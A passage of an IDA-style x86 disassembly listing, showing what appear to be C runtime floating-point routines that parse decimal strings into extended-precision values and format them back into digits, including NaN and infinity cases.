arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4253AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4253DB	proc near		; CODE XREF: sub_4254A2+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42544F
		push	edi
		mov	[ebp+arg_8], eax


loc_425402:				; CODE XREF: sub_4253DB+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_425380
		push	ebx
		call	sub_425380
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425322
		push	ebx
		call	sub_425380
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425322
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425402
		xor	edx, edx
		pop	edi


loc_42544F:				; CODE XREF: sub_4253DB+21j
					; sub_4253DB+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_42547C
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42544F
; ---------------------------------------------------------------------------


loc_42547C:				; CODE XREF: sub_4253DB+77j
		mov	esi, 8000h


loc_425481:				; CODE XREF: sub_4253DB+B9j
		test	[ebx+8], esi
		jnz	short loc_425496
		push	ebx
		call	sub_425380
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_425481
; ---------------------------------------------------------------------------


loc_425496:				; CODE XREF: sub_4253DB+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_4253DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4254A2	proc near		; CODE XREF: sub_424D28+17p
					; sub_424D55+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_4254DD:				; CODE XREF: sub_4254A2+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_4254F3
		cmp	cl, 9
		jz	short loc_4254F3
		cmp	cl, 0Ah
		jz	short loc_4254F3
		cmp	cl, 0Dh
		jnz	short loc_4254F6


loc_4254F3:				; CODE XREF: sub_4254A2+40j
					; sub_4254A2+45j ...
		inc	edi
		jmp	short loc_4254DD
; ---------------------------------------------------------------------------


loc_4254F6:				; CODE XREF: sub_4254A2+4Fj
		push	4
		pop	esi


loc_4254F9:				; CODE XREF: sub_4254A2+AEj
					; sub_4254A2+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_42577C	; default
					; jumptable 00425505 case 10
		jmp	off_425943[eax*4] ; switch jump


loc_42550C:				; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 0
		jl	short loc_42551D
		cmp	bl, 39h
		jg	short loc_42551D


loc_425516:				; CODE XREF: sub_4254A2+C4j
					; sub_4254A2+118j
		push	3
		jmp	loc_42573A
; ---------------------------------------------------------------------------


loc_42551D:				; CODE XREF: sub_4254A2+6Dj
					; sub_4254A2+72j
		cmp	bl, byte_43D088
		jnz	short loc_42552C


loc_425525:				; CODE XREF: sub_4254A2+124j
		push	5
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_42552C:				; CODE XREF: sub_4254A2+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_425552
		dec	eax
		dec	eax
		jz	short loc_425546
		sub	eax, 3
		jnz	loc_425815
		jmp	loc_4255D5
; ---------------------------------------------------------------------------


loc_425546:				; CODE XREF: sub_4254A2+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_4254F9
; ---------------------------------------------------------------------------


loc_425552:				; CODE XREF: sub_4254A2+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_4254F9
; ---------------------------------------------------------------------------


loc_42555B:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 1
		mov	[ebp+var_10], edx
		jl	short loc_425568
		cmp	bl, 39h
		jle	short loc_425516


loc_425568:				; CODE XREF: sub_4254A2+BFj
		cmp	bl, byte_43D088
		jz	loc_425630
		cmp	bl, 2Bh
		jz	short loc_4255AA
		cmp	bl, 2Dh
		jz	short loc_4255AA
		cmp	bl, 30h
		jz	short loc_4255D5


loc_425583:				; CODE XREF: sub_4254A2+207j
		cmp	bl, 43h
		jle	loc_425815
		cmp	bl, 45h
		jle	short loc_4255A3
		cmp	bl, 63h
		jle	loc_425815
		cmp	bl, 65h
		jg	loc_425815


loc_4255A3:				; CODE XREF: sub_4254A2+EDj
		push	6
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_4255AA:				; CODE XREF: sub_4254A2+D5j
					; sub_4254A2+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_4255B2:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 2
		jl	short loc_4255C0
		cmp	bl, 39h
		jle	loc_425516


loc_4255C0:				; CODE XREF: sub_4254A2+113j
		cmp	bl, byte_43D088
		jz	loc_425525
		cmp	bl, 30h
		jnz	loc_42578A


loc_4255D5:				; CODE XREF: sub_4254A2+9Fj
					; sub_4254A2+DFj
		mov	eax, edx
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_4255DC:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_10], edx ; jumptable 00425505 case 3


loc_4255DF:				; CODE XREF: sub_4254A2+184j
		cmp	dword_43D084, edx
		jle	short loc_4255F8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425606
; ---------------------------------------------------------------------------


loc_4255F8:				; CODE XREF: sub_4254A2+143j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425606:				; CODE XREF: sub_4254A2+154j
		test	eax, eax
		jz	short loc_425628
		cmp	[ebp+var_4], 19h
		jnb	short loc_425620
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425623
; ---------------------------------------------------------------------------


loc_425620:				; CODE XREF: sub_4254A2+16Cj
		inc	[ebp+var_8]


loc_425623:				; CODE XREF: sub_4254A2+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4255DF
; ---------------------------------------------------------------------------


loc_425628:				; CODE XREF: sub_4254A2+166j
		cmp	bl, byte_43D088
		jnz	short loc_425697


loc_425630:				; CODE XREF: sub_4254A2+CCj
		mov	eax, esi
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425637:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	[ebp+var_4], 0	; jumptable 00425505 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_425650


loc_425643:				; CODE XREF: sub_4254A2+1ACj
		cmp	bl, 30h
		jnz	short loc_425650
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425643
; ---------------------------------------------------------------------------


loc_425650:				; CODE XREF: sub_4254A2+19Fj
					; sub_4254A2+1A4j ...
		cmp	dword_43D084, edx
		jle	short loc_425669
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425669:				; CODE XREF: sub_4254A2+1B4j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425677:				; CODE XREF: sub_4254A2+1C5j
		test	eax, eax
		jz	short loc_425697
		cmp	[ebp+var_4], 19h
		jnb	short loc_425692
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_425692:				; CODE XREF: sub_4254A2+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425650
; ---------------------------------------------------------------------------


loc_425697:				; CODE XREF: sub_4254A2+18Cj
					; sub_4254A2+1D7j
		cmp	bl, 2Bh
		jz	loc_4255AA
		cmp	bl, 2Dh
		jz	loc_4255AA
		jmp	loc_425583
; ---------------------------------------------------------------------------


loc_4256AE:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	dword_43D084, edx ; jumptable 00425505 case 5
		mov	[ebp+var_24], edx
		jle	short loc_4256CA
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4256D8
; ---------------------------------------------------------------------------


loc_4256CA:				; CODE XREF: sub_4254A2+215j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4256D8:				; CODE XREF: sub_4254A2+226j
		test	eax, eax
		jz	loc_42578A
		mov	eax, esi
		jmp	short loc_42573B
; ---------------------------------------------------------------------------


loc_4256E4:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		lea	ecx, [edi-2]	; jumptable 00425505 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_4256F4
		cmp	bl, 39h
		jle	short loc_425738


loc_4256F4:				; CODE XREF: sub_4254A2+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_425770
		dec	eax
		dec	eax
		jz	short loc_425764
		sub	eax, 3
		jnz	loc_425818


loc_425709:				; CODE XREF: sub_4254A2+2A4j
		push	8
		jmp	short loc_425772
; ---------------------------------------------------------------------------


loc_42570D:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_20], edx ; jumptable 00425505 case 8


loc_425710:				; CODE XREF: sub_4254A2+276j
		cmp	bl, 30h
		jnz	short loc_42571A
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425710
; ---------------------------------------------------------------------------


loc_42571A:				; CODE XREF: sub_4254A2+271j
		cmp	bl, 31h
		jl	loc_425815
		cmp	bl, 39h
		jg	loc_425815
		jmp	short loc_425738
; ---------------------------------------------------------------------------


loc_42572E:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 7
		jl	short loc_425741
		cmp	bl, 39h
		jg	short loc_425741


loc_425738:				; CODE XREF: sub_4254A2+250j
					; sub_4254A2+28Aj
		push	9


loc_42573A:				; CODE XREF: sub_4254A2+76j
		pop	eax


loc_42573B:				; CODE XREF: sub_4254A2+240j
		dec	edi
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425741:				; CODE XREF: sub_4254A2+28Fj
					; sub_4254A2+294j
		cmp	bl, 30h
		jnz	short loc_42578A
		jmp	short loc_425709
; ---------------------------------------------------------------------------


loc_425748:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	[ebp+arg_18], 0	; jumptable 00425505 case 11
		jz	short loc_425778
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_425770
		dec	eax
		dec	eax
		jnz	loc_425818


loc_425764:				; CODE XREF: sub_4254A2+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425770:				; CODE XREF: sub_4254A2+258j
					; sub_4254A2+2B8j
		push	7


loc_425772:				; CODE XREF: sub_4254A2+85j
					; sub_4254A2+103j ...
		pop	eax
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425778:				; CODE XREF: sub_4254A2+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_42577C:				; CODE XREF: sub_4254A2+5Dj
					; sub_4254A2+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425505 case 10
		jz	loc_42581A
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_42578A:				; CODE XREF: sub_4254A2+12Dj
					; sub_4254A2+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_42581A
; ---------------------------------------------------------------------------


loc_425792:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_20], 1	; jumptable 00425505 case 9
		xor	esi, esi


loc_42579B:				; CODE XREF: sub_4254A2+339j
		cmp	dword_43D084, 1
		jle	short loc_4257B3
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4257C2
; ---------------------------------------------------------------------------


loc_4257B3:				; CODE XREF: sub_4254A2+300j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4257C2:				; CODE XREF: sub_4254A2+30Fj
		test	eax, eax
		jz	short loc_4257E2
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_4257DD
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42579B
; ---------------------------------------------------------------------------


loc_4257DD:				; CODE XREF: sub_4254A2+334j
		mov	esi, 1451h


loc_4257E2:				; CODE XREF: sub_4254A2+322j
		mov	[ebp+var_1C], esi


loc_4257E5:				; CODE XREF: sub_4254A2+371j
		cmp	dword_43D084, 1
		jle	short loc_4257FD
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_42580C
; ---------------------------------------------------------------------------


loc_4257FD:				; CODE XREF: sub_4254A2+34Aj
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42580C:				; CODE XREF: sub_4254A2+359j
		test	eax, eax
		jz	short loc_425815
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4257E5
; ---------------------------------------------------------------------------


loc_425815:				; CODE XREF: sub_4254A2+99j
					; sub_4254A2+E4j ...
		dec	edi
		jmp	short loc_42581A
; ---------------------------------------------------------------------------


loc_425818:				; CODE XREF: sub_4254A2+261j
					; sub_4254A2+2BCj
		mov	edi, ecx


loc_42581A:				; CODE XREF: sub_4254A2+2DDj
					; sub_4254A2+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425902
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425846
		cmp	[ebp+var_45], 5
		jl	short loc_42583A
		inc	[ebp+var_45]


loc_42583A:				; CODE XREF: sub_4254A2+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425849
; ---------------------------------------------------------------------------


loc_425846:				; CODE XREF: sub_4254A2+38Dj
		mov	eax, [ebp+var_C]


loc_425849:				; CODE XREF: sub_4254A2+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_4258F8


loc_425853:				; CODE XREF: sub_4254A2+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_425861
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_425853
; ---------------------------------------------------------------------------


loc_425861:				; CODE XREF: sub_4254A2+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_4253DB
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_425880
		neg	eax


loc_425880:				; CODE XREF: sub_4254A2+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_42588B
		add	eax, [ebp+arg_10]


loc_42588B:				; CODE XREF: sub_4254A2+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_425893
		sub	eax, [ebp+arg_14]


loc_425893:				; CODE XREF: sub_4254A2+3ECj
		cmp	eax, 1450h
		jle	short loc_4258CA
		mov	[ebp+var_2C], 1


loc_4258A1:				; CODE XREF: sub_4254A2+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4258AD:				; CODE XREF: sub_4254A2+454j
					; sub_4254A2+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425913
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425928
; ---------------------------------------------------------------------------


loc_4258CA:				; CODE XREF: sub_4254A2+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_4258DA
		mov	[ebp+var_30], 1
		jmp	short loc_4258A1
; ---------------------------------------------------------------------------


loc_4258DA:				; CODE XREF: sub_4254A2+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_42600E
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4258AD
; ---------------------------------------------------------------------------


loc_4258F8:				; CODE XREF: sub_4254A2+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4258AD
; ---------------------------------------------------------------------------


loc_425902:				; CODE XREF: sub_4254A2+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425928
; ---------------------------------------------------------------------------


loc_425913:				; CODE XREF: sub_4254A2+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425928
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425928:				; CODE XREF: sub_4254A2+426j
					; sub_4254A2+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4254A2	endp

; ---------------------------------------------------------------------------
off_425943	dd offset loc_42550C	; DATA XREF: sub_4254A2+63r
		dd offset loc_42555B	; jump table for switch	statement
		dd offset loc_4255B2
		dd offset loc_4255DC
		dd offset loc_425637
		dd offset loc_4256AE
		dd offset loc_4256E4
		dd offset loc_42572E
		dd offset loc_42570D
		dd offset loc_425792
		dd offset loc_42577C
		dd offset loc_425748

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425973	proc near		; CODE XREF: sub_424DF9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_4259D5
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_4259D9
; ---------------------------------------------------------------------------


loc_4259D5:				; CODE XREF: sub_425973+5Aj
		mov	byte ptr [ebx+2], 20h


loc_4259D9:				; CODE XREF: sub_425973+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_4259FF
		test	edi, edi
		jnz	short loc_4259FF
		cmp	[ebp+arg_0], edi
		jnz	short loc_4259FF


loc_4259EA:				; CODE XREF: sub_425973+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_425BFD
; ---------------------------------------------------------------------------


loc_4259FF:				; CODE XREF: sub_425973+6Cj
					; sub_425973+70j ...
		cmp	dx, si
		jnz	short loc_425A7E
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425A18
		cmp	[ebp+arg_0], 0
		jz	short loc_425A27


loc_425A18:				; CODE XREF: sub_425973+9Dj
		test	edi, 40000000h
		jnz	short loc_425A27
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_425A6D
; ---------------------------------------------------------------------------


loc_425A27:				; CODE XREF: sub_425973+A3j
					; sub_425973+ABj
		test	cx, cx
		jz	short loc_425A41
		cmp	edi, 0C0000000h
		jnz	short loc_425A41
		cmp	[ebp+arg_0], 0
		jnz	short loc_425A68
		push	offset a1Ind	; "1#IND"
		jmp	short loc_425A50
; ---------------------------------------------------------------------------


loc_425A41:				; CODE XREF: sub_425973+B7j
					; sub_425973+BFj
		cmp	edi, eax
		jnz	short loc_425A68
		cmp	[ebp+arg_0], 0
		jnz	short loc_425A68
		push	offset a1Inf	; "1#INF"


loc_425A50:				; CODE XREF: sub_425973+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C890
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_425A5F:				; CODE XREF: sub_425973+109j
		and	[ebp+var_4], 0
		jmp	loc_425BD6
; ---------------------------------------------------------------------------


loc_425A68:				; CODE XREF: sub_425973+C5j
					; sub_425973+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_425A6D:				; CODE XREF: sub_425973+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C890
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_425A5F
; ---------------------------------------------------------------------------


loc_425A7E:				; CODE XREF: sub_425973+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42600E
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_425ADF
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DEE
		pop	ecx
		pop	ecx


loc_425ADF:				; CODE XREF: sub_425973+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425AF9
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_425AFC
		jmp	loc_4259EA
; ---------------------------------------------------------------------------


loc_425AF9:				; CODE XREF: sub_425973+173j
		mov	edi, [ebp+arg_C]


loc_425AFC:				; CODE XREF: sub_425973+17Fj
		cmp	edi, 15h
		jle	short loc_425B04
		push	15h
		pop	edi


loc_425B04:				; CODE XREF: sub_425973+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425B1A:				; CODE XREF: sub_425973+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425B1A
		test	esi, esi
		jge	short loc_425B44
		neg	esi
		and	esi, 0FFh
		jle	short loc_425B44


loc_425B37:				; CODE XREF: sub_425973+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4253AE
		dec	esi
		pop	ecx
		jnz	short loc_425B37


loc_425B44:				; CODE XREF: sub_425973+1B8j
					; sub_425973+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_425BA1
		mov	[ebp+arg_C], ecx


loc_425B54:				; CODE XREF: sub_425973+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_425380
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425322
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_425B54
		mov	eax, [ebp+arg_14]


loc_425BA1:				; CODE XREF: sub_425973+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_425BDE


loc_425BAE:				; CODE XREF: sub_425973+248j
		cmp	eax, ecx
		jb	short loc_425BC1
		cmp	byte ptr [eax],	39h
		jnz	short loc_425BBD
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_425BAE
; ---------------------------------------------------------------------------


loc_425BBD:				; CODE XREF: sub_425973+242j
		cmp	eax, ecx
		jnb	short loc_425BC5


loc_425BC1:				; CODE XREF: sub_425973+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425BC5:				; CODE XREF: sub_425973+24Cj
		inc	byte ptr [eax]


loc_425BC7:				; CODE XREF: sub_425973+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425BD6:				; CODE XREF: sub_425973+F0j
		mov	eax, [ebp+var_4]


loc_425BD9:				; CODE XREF: sub_425973+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_425BDE:				; CODE XREF: sub_425973+239j
					; sub_425973+275j
		cmp	eax, ecx
